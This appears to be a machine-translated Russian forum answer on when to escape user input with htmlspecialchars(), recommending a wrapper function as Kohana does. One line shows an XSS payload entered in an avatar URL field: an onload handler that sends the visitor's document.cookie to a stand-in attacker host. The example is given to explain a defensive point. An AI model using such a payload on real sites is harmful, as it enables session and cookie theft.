Ответ 1
Это сильно зависит от контекста.
Посмотрите этот пример с обычного сайта форума...
Вы можете настроить ссылку на изображение аватара. Введите полный URL.
Вредоносный пользователь входит в поле ввода
http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie)
Кодировки там меньше и больше, но все еще большое дыра в безопасности.
С htmlspecialchars()
я нашел, что неплохо было (или использовать) его функцию-оболочку, которая отличает строку, обеспечивает более простой способ отключить двойное кодирование (при необходимости) и обеспечить его использование правильный набор символов вашего приложения. Кохана имеет отличный пример.